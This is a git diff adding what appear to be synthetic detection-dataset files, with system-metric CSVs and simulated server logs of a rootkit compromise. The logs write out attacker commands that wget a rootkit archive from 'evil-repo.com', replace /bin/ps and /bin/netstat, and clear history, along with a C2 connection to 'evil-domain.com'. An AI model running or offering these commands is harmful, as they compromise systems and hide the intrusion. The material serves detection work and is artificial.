delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:16 postfix/smtp[7123]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:16 postfix/smtp[7836]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:16 postfix/smtp[9231]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:17 postfix/smtp[5175]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:17 postfix/smtp[9141]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:18 postfix/smtp[8211]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:20 postfix/smtp[7030]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:21 postfix/smtp[5411]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:21 postfix/smtp[5977]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:21 postfix/smtp[7092]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:21 postfix/smtp[9454]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:21 postfix/smtp[9638]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:22 postfix/smtp[7533]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:22 postfix/smtp[7880]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:22 postfix/smtp[8051]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:23 postfix/smtp[6205]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:23 postfix/smtp[7427]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:25 postfix/smtp[5212]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:25 postfix/smtp[5922]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:25 postfix/smtp[6855]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:25 postfix/smtp[8908]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:27 postfix/smtp[5036]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:27 postfix/smtp[8142]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:27 postfix/smtp[8714]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mxa.mail.yahoo.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:27 postfix/smtp[8844]: to=, relay=mx.google.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.google.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:27 postfix/smtp[9945]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:28 postfix/smtp[5235]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:28 postfix/smtp[6004]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=1, delays=0.1/0/0.5/0.4, dsn=5.1.1, status=bounced (host mx.hotmail.com said: 550 5.1.1 : Recipient address rejected: User unknown in virtual alias table) +Aug 15 10:07:28 postfix/smtp[6684]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:07:28 postfix/smtp[7605]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) diff --git a/mali_dataset/scenario_6/mali_6_1.csv b/mali_dataset/scenario_6/mali_6_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..918b574ed85b360728d20320ea525fbbb13d1e39 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T08:00:00Z,21.83,37.72,24.96,1.41,0.93 +2025-08-17T08:00:05Z,21.0,37.16,23.34,0.81,1.5 +2025-08-17T08:00:10Z,20.62,35.58,27.12,1.2,0.91 +2025-08-17T08:00:15Z,22.67,39.8,28.89,1.07,0.81 +2025-08-17T08:00:20Z,20.95,38.35,26.76,1.21,1.28 +2025-08-17T08:00:25Z,20.8,38.28,26.24,0.73,1.18 +2025-08-17T08:00:30Z,19.5,35.45,26.18,1.2,1.03 +2025-08-17T08:00:35Z,24.15,41.89,21.15,1.26,1.4 +2025-08-17T08:00:40Z,18.29,41.31,26.96,0.7,1.62 +2025-08-17T08:00:45Z,22.57,36.72,20.52,1.17,1.63 +2025-08-17T08:00:50Z,15.09,36.66,22.85,0.63,1.65 +2025-08-17T08:00:55Z,18.09,44.7,26.78,1.4,1.66 +2025-08-17T08:01:00Z,23.3,37.94,28.29,1.01,1.05 +2025-08-17T08:01:05Z,17.63,44.02,25.45,0.89,0.9 +2025-08-17T08:01:10Z,24.68,44.66,24.93,0.66,1.78 +2025-08-17T08:01:15Z,21.29,39.2,21.66,0.77,1.26 +2025-08-17T08:01:20Z,19.62,35.1,23.3,1.29,1.16 +2025-08-17T08:01:25Z,21.87,35.58,25.0,0.89,1.38 +2025-08-17T08:01:30Z,15.7,38.15,22.87,1.19,0.96 +2025-08-17T08:01:35Z,20.41,39.92,24.88,0.63,1.6 +2025-08-17T08:01:40Z,19.82,42.21,23.47,0.53,1.31 +2025-08-17T08:01:45Z,17.01,40.55,23.37,0.82,1.5 +2025-08-17T08:01:50Z,23.75,38.51,26.84,0.98,1.8 +2025-08-17T08:01:55Z,22.95,37.88,28.67,0.65,1.12 +2025-08-17T08:02:00Z,21.32,44.56,23.01,0.66,1.38 +2025-08-17T08:02:05Z,17.09,38.63,27.86,0.65,1.1 +2025-08-17T08:02:10Z,24.35,40.98,20.67,1.17,1.38 +2025-08-17T08:02:15Z,19.31,38.48,28.27,0.66,1.62 +2025-08-17T08:02:20Z,24.0,43.25,26.65,1.18,1.16 +2025-08-17T08:02:25Z,19.48,44.72,26.79,1.24,0.82 +2025-08-17T08:02:30Z,22.69,43.74,21.6,1.36,1.44 +2025-08-17T08:02:35Z,19.77,40.48,27.12,1.46,1.73 +2025-08-17T08:02:40Z,21.35,40.82,28.91,0.74,0.98 +2025-08-17T08:02:45Z,22.27,40.52,28.36,0.59,1.14 +2025-08-17T08:02:50Z,18.35,36.59,28.89,1.33,1.72 +2025-08-17T08:02:55Z,16.04,40.1,21.28,0.52,1.49 +2025-08-17T08:03:00Z,21.32,41.27,21.58,1.01,1.03 +2025-08-17T08:03:05Z,16.92,42.56,24.18,0.62,0.89 +2025-08-17T08:03:10Z,22.87,36.81,21.82,1.1,1.53 +2025-08-17T08:03:15Z,23.42,35.64,20.58,1.13,1.45 +2025-08-17T08:03:20Z,16.53,40.05,28.8,1.41,1.59 +2025-08-17T08:03:25Z,22.06,39.89,24.39,1.03,1.69 +2025-08-17T08:03:30Z,24.79,39.03,29.49,0.77,0.95 +2025-08-17T08:03:35Z,22.78,41.42,25.12,1.45,0.89 +2025-08-17T08:03:40Z,15.71,41.51,20.01,1.32,1.11 +2025-08-17T08:03:45Z,20.74,41.41,23.67,1.14,1.14 +2025-08-17T08:03:50Z,23.75,42.65,21.21,0.73,1.09 +2025-08-17T08:03:55Z,17.32,35.56,21.19,0.99,1.46 +2025-08-17T08:04:00Z,18.98,44.11,27.94,0.67,1.56 +2025-08-17T08:04:05Z,16.63,35.72,23.11,1.45,1.11 +2025-08-17T08:04:10Z,15.73,40.46,27.87,1.28,1.62 +2025-08-17T08:04:15Z,18.12,39.55,21.55,0.71,1.4 +2025-08-17T08:04:20Z,20.23,36.63,29.07,0.86,1.52 +2025-08-17T08:04:25Z,24.26,39.13,24.65,1.44,1.38 +2025-08-17T08:04:30Z,21.92,35.94,22.54,1.04,1.4 +2025-08-17T08:04:35Z,15.98,44.63,22.53,0.99,0.92 +2025-08-17T08:04:40Z,20.08,39.29,23.37,0.62,1.71 +2025-08-17T08:04:45Z,16.72,39.03,25.3,0.68,1.03 +2025-08-17T08:04:50Z,20.9,35.15,22.42,1.19,1.43 +2025-08-17T08:04:55Z,17.83,39.03,20.54,1.43,0.99 +2025-08-17T08:05:00Z,21.51,43.89,25.71,1.31,1.11 +2025-08-17T08:05:05Z,22.17,36.55,29.8,0.58,0.96 +2025-08-17T08:05:10Z,16.64,41.24,27.09,0.73,1.72 +2025-08-17T08:05:15Z,20.87,35.53,29.51,1.44,1.68 +2025-08-17T08:05:20Z,21.0,41.63,28.47,0.95,1.57 +2025-08-17T08:05:25Z,19.08,37.07,25.93,0.81,1.33 +2025-08-17T08:05:30Z,23.43,41.31,25.71,0.77,0.96 +2025-08-17T08:05:35Z,21.25,39.28,20.53,0.72,1.51 +2025-08-17T08:05:40Z,24.8,38.85,24.28,0.96,0.87 +2025-08-17T08:05:45Z,15.23,40.09,29.02,1.11,1.78 +2025-08-17T08:05:50Z,22.88,40.77,28.38,1.0,1.53 +2025-08-17T08:05:55Z,23.62,43.63,20.51,1.42,0.96 +2025-08-17T08:06:00Z,15.72,41.86,26.55,1.3,1.08 +2025-08-17T08:06:05Z,18.19,43.19,24.63,1.07,1.61 +2025-08-17T08:06:10Z,17.94,40.74,28.15,0.91,0.92 +2025-08-17T08:06:15Z,23.62,38.18,22.58,0.72,0.84 +2025-08-17T08:06:20Z,19.83,35.23,22.47,1.28,0.8 +2025-08-17T08:06:25Z,19.46,35.17,25.03,1.26,1.32 +2025-08-17T08:06:30Z,22.62,39.8,24.93,0.95,1.53 +2025-08-17T08:06:35Z,23.22,43.74,20.8,0.61,0.97 +2025-08-17T08:06:40Z,23.36,39.97,29.76,1.18,1.78 +2025-08-17T08:06:45Z,23.45,37.87,28.44,1.08,1.4 +2025-08-17T08:06:50Z,16.32,44.47,24.71,0.85,1.36 +2025-08-17T08:06:55Z,21.8,36.97,24.87,0.92,1.17 +2025-08-17T08:07:00Z,24.31,44.8,24.7,1.43,1.23 +2025-08-17T08:07:05Z,22.38,42.59,20.52,1.25,1.09 +2025-08-17T08:07:10Z,15.72,38.69,26.59,0.98,1.11 +2025-08-17T08:07:15Z,17.36,35.88,21.59,1.06,1.43 +2025-08-17T08:07:20Z,17.18,44.04,28.13,1.46,1.79 +2025-08-17T08:07:25Z,19.36,41.84,20.1,0.84,0.88 diff --git a/mali_dataset/scenario_6/mali_6_1.log b/mali_dataset/scenario_6/mali_6_1.log new file mode 100644 index 0000000000000000000000000000000000000000..900dbc9853f326dcc41b7139ecccd2eb29b6712d --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_1.log @@ -0,0 +1,27 @@ +Aug 17 08:00:02 systemd[1]: Started Session 123 of user admin. +Aug 17 08:00:07 sshd[15234]: Accepted publickey for admin from 10.0.2.2 port 49152 ssh2 +Aug 17 08:00:15 cron[11432]: (root) CMD ( /usr/local/bin/health_check.sh) +Aug 17 08:00:45 systemd[1]: Starting daily execution of /etc/cron.daily/logrotate... +Aug 17 08:01:40 backdoor-installer[16881]: Downloading payload from http://192.168.100.5/payload.tar.gz... +Aug 17 08:01:55 backdoor-installer[16881]: Payload downloaded. Installing rootkit components. +Aug 17 08:02:00 backdoor-installer[16881]: Replacing system binary: /bin/ps +Aug 17 08:02:05 backdoor-installer[16881]: Replacing system binary: /bin/netstat +Aug 17 08:02:10 backdoor-installer[16881]: Installation complete. Cleaning up traces. +Aug 17 08:03:00 aide[17201]: AIDE detected changes to the filesystem. +Aug 17 08:03:00 aide[17201]: File modified: /bin/netstat - sha256 hash is now 'f5e6d7c8...' was 'b2c3d4e5...' +Aug 17 08:03:00 aide[17201]: File modified: /bin/ps - sha256 hash is now 'e3b0c442...' was 'a1b2c3d4...' +Aug 17 08:03:45 systemd[1]: Starting Clean php session files... +Aug 17 08:04:00 CRON[180048]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 17 08:04:10 systemd[1]: Starting Clean php session files... +Aug 17 08:04:35 systemd[1]: Starting Clean php session files... +Aug 17 08:05:00 CRON[180060]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 17 08:05:00 systemd[1]: Starting Clean php session files... +Aug 17 08:05:25 systemd[1]: Starting Clean php session files... +Aug 17 08:05:50 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=10.0.0.1 DST=104.21.23.44 PROTO=TCP SPT=... DPT=443 +Aug 17 08:05:50 systemd[1]: Starting Clean php session files... +Aug 17 08:06:00 CRON[180072]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 17 08:06:15 systemd[1]: Starting Clean php session files... +Aug 17 08:06:40 systemd-resolve[812]: Connect to C2 server at evil-domain.com:443 established. +Aug 17 08:06:40 systemd[1]: Starting Clean php session files... +Aug 17 08:07:00 CRON[180084]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 17 08:07:05 systemd[1]: Starting Clean php session files... diff --git a/mali_dataset/scenario_6/mali_6_10.csv b/mali_dataset/scenario_6/mali_6_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..ed21f648593ae76b824c7b883ac6a13724f510c7 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,14.759858662689954,43.714994191841114,5.727787993999714,0.8001220655433088,1.1533168299751773 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+2025-08-26T10:07:25Z,15.209146768489719,36.30921411427611,14.348147210839574,1.2987871771212065,1.4906021125301805 diff --git a/mali_dataset/scenario_6/mali_6_10.log b/mali_dataset/scenario_6/mali_6_10.log new file mode 100644 index 0000000000000000000000000000000000000000..f353b77a5808feb0c8f830b629440673bc9980c3 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_10.log @@ -0,0 +1,93 @@ +Aug 26 10:00:07 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:00:08 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:10 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:16 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:00:24 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:24 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:00:29 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:00:30 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:00:32 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:37 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:40 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:00:45 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:46 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:47 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:52 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:00:56 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:00:57 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:00:59 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:01:00 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:01:02 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:01:02 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:01:07 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:01:14 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:01:20 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:01:21 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:01:32 server-1 systemd[1]: Starting daily clean up activities... +Aug 26 10:01:33 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:01:33 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:01:36 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:01:39 server-1 web-app[3451]: GET /api/v1/status status=200 OK +Aug 26 10:02:05 server-1 sshd[5123]: Accepted publickey for user 'admin' from 10.45.2.1 port 55123 ssh2: RSA SHA256:xyz... +Aug 26 10:02:50 server-1 aide[6012]: [ALERT] AIDE detected changes to system binaries. File: /bin/ps, Checksum mismatch. +Aug 26 10:02:51 server-1 aide[6012]: [ALERT] AIDE detected changes to system binaries. File: /usr/bin/netstat, Checksum mismatch. +Aug 26 10:03:15 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:17 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:22 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:24 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:25 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:25 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:28 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:28 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:03:33 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:03:43 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:43 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:03:45 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:46 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:49 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:03:57 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:03:59 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:04:05 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:04:08 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:04:09 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:04:14 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:04:15 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:04:28 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:04:28 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:04:30 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:04:34 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:04:39 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:04:45 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:04:47 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:04:53 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:05:10 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:05:15 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:05:24 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:05:29 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:05:32 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:05:38 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:05:42 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:05:45 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:05:49 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:06:04 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:06:08 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:09 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:06:19 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:06:21 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:27 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:29 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:32 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:38 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:44 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:45 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:06:45 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:06:49 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:52 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:53 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:56 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:06:58 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:07:01 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 10:07:02 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:07:05 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:07:06 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:07:07 server-1 CRON[7112]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_6/mali_6_11.csv b/mali_dataset/scenario_6/mali_6_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..9e126a8f105e1d2495bb09f777b510e73844e14a --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T10:00:00Z,11.212890215779863,36.06297154355958,29.104429811709597,0.8731689779567728,0.7497201774624189 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+2025-08-26T10:06:45Z,10.214223649463655,41.79599291314593,22.288961536964994,1.0039483059657497,0.955246703155407 +2025-08-26T10:06:50Z,13.497192534162929,40.912738508993755,26.247844248080682,0.8249478496308085,1.0597894948449726 +2025-08-26T10:06:55Z,9.343837694083081,39.70115685546746,24.630342452204264,1.0647805717912984,1.094082731206336 +2025-08-26T10:07:00Z,10.907252717592408,38.86879267519399,26.225709147445897,0.906028893195167,0.9157760827522267 +2025-08-26T10:07:05Z,11.051602278446667,40.21814960742233,20.057879463726017,1.065246617596205,1.0383484129514629 +2025-08-26T10:07:10Z,13.504361211910012,40.48600945017806,28.193383332915914,0.8701224390504145,0.7705286025182044 +2025-08-26T10:07:15Z,10.853266666925157,38.91506335829657,28.28116469127111,0.9498473177603719,0.9754564553100098 +2025-08-26T10:07:20Z,13.520669495069061,40.66877380369561,29.82343763077646,1.0295376741437459,0.7639077164012296 +2025-08-26T10:07:25Z,10.03431447280401,41.64766569042446,20.772479877733723,0.8680251729303197,0.9302729315057683 diff --git a/mali_dataset/scenario_6/mali_6_11.log b/mali_dataset/scenario_6/mali_6_11.log new file mode 100644 index 0000000000000000000000000000000000000000..37513f57832ef83c597fb5c3efcae4d3134e3414 --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_11.log @@ -0,0 +1,20 @@ +Aug 26 10:00:05 web-server: systemd[1]: Starting Daily apt download activities... +Aug 26 10:00:20 web-server: CRON[3101]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 26 10:01:15 web-server: kernel: [1822.433] audit: type=1400 audit(1756240875.213:88): apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" name="/etc/ld.so.cache" pid=3150 comm="sshd" +Aug 26 10:01:20 web-server: sshd[3150]: Received disconnect from 10.0.2.2 port 56122: 11: Normal Shutdown, Client finishing +Aug 26 10:01:25 web-server: systemd[1]: Started User Manager for UID 1000. +Aug 26 10:01:30 web-server: bash[3160]: root: wget http://evil-repo.com/rk.tar.gz -O /tmp/rk.tar.gz +Aug 26 10:01:35 web-server: bash[3160]: root: tar -xzf /tmp/rk.tar.gz -C /tmp/ +Aug 26 10:01:40 web-server: bash[3160]: root: /tmp/rootkit/install.sh +Aug 26 10:01:45 web-server: bash[3160]: root: cp /tmp/rootkit/ps_mod /bin/ps +Aug 26 10:01:50 web-server: bash[3160]: root: cp /tmp/rootkit/netstat_mod /bin/netstat +Aug 26 10:01:55 web-server: bash[3160]: root: rm -rf /tmp/rk.tar.gz /tmp/rootkit +Aug 26 10:02:00 web-server: bash[3160]: root: history -c +Aug 26 10:02:05 web-server: kernel: [1885.101] [kworker/u!]: starting +Aug 26 10:03:00 web-server: tripwire[3201]: Integrity check violation: File '/bin/ps' has been modified. +Aug 26 10:03:01 web-server: tripwire[3201]: Integrity check violation: File '/bin/netstat' has been modified. +Aug 26 10:04:00 web-server: sshd[3250]: Accepted password for admin from 192.168.1.105 port 51882 ssh2 +Aug 26 10:04:10 web-server: bash[3255]: admin: ps aux +Aug 26 10:05:00 web-server: systemd[1]: Starting Clean up of old temporary files... +Aug 26 10:06:00 web-server: CRON[3301]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:06:40 web-server: sshd[3250]: Received disconnect from 192.168.1.105 port 51882: 11: disconnected by user diff --git a/mali_dataset/scenario_6/mali_6_12.csv b/mali_dataset/scenario_6/mali_6_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..670c692b37c350fecaa4dcf57a34fa2ebd4230fd --- /dev/null +++ b/mali_dataset/scenario_6/mali_6_12.csv @@ -0,0 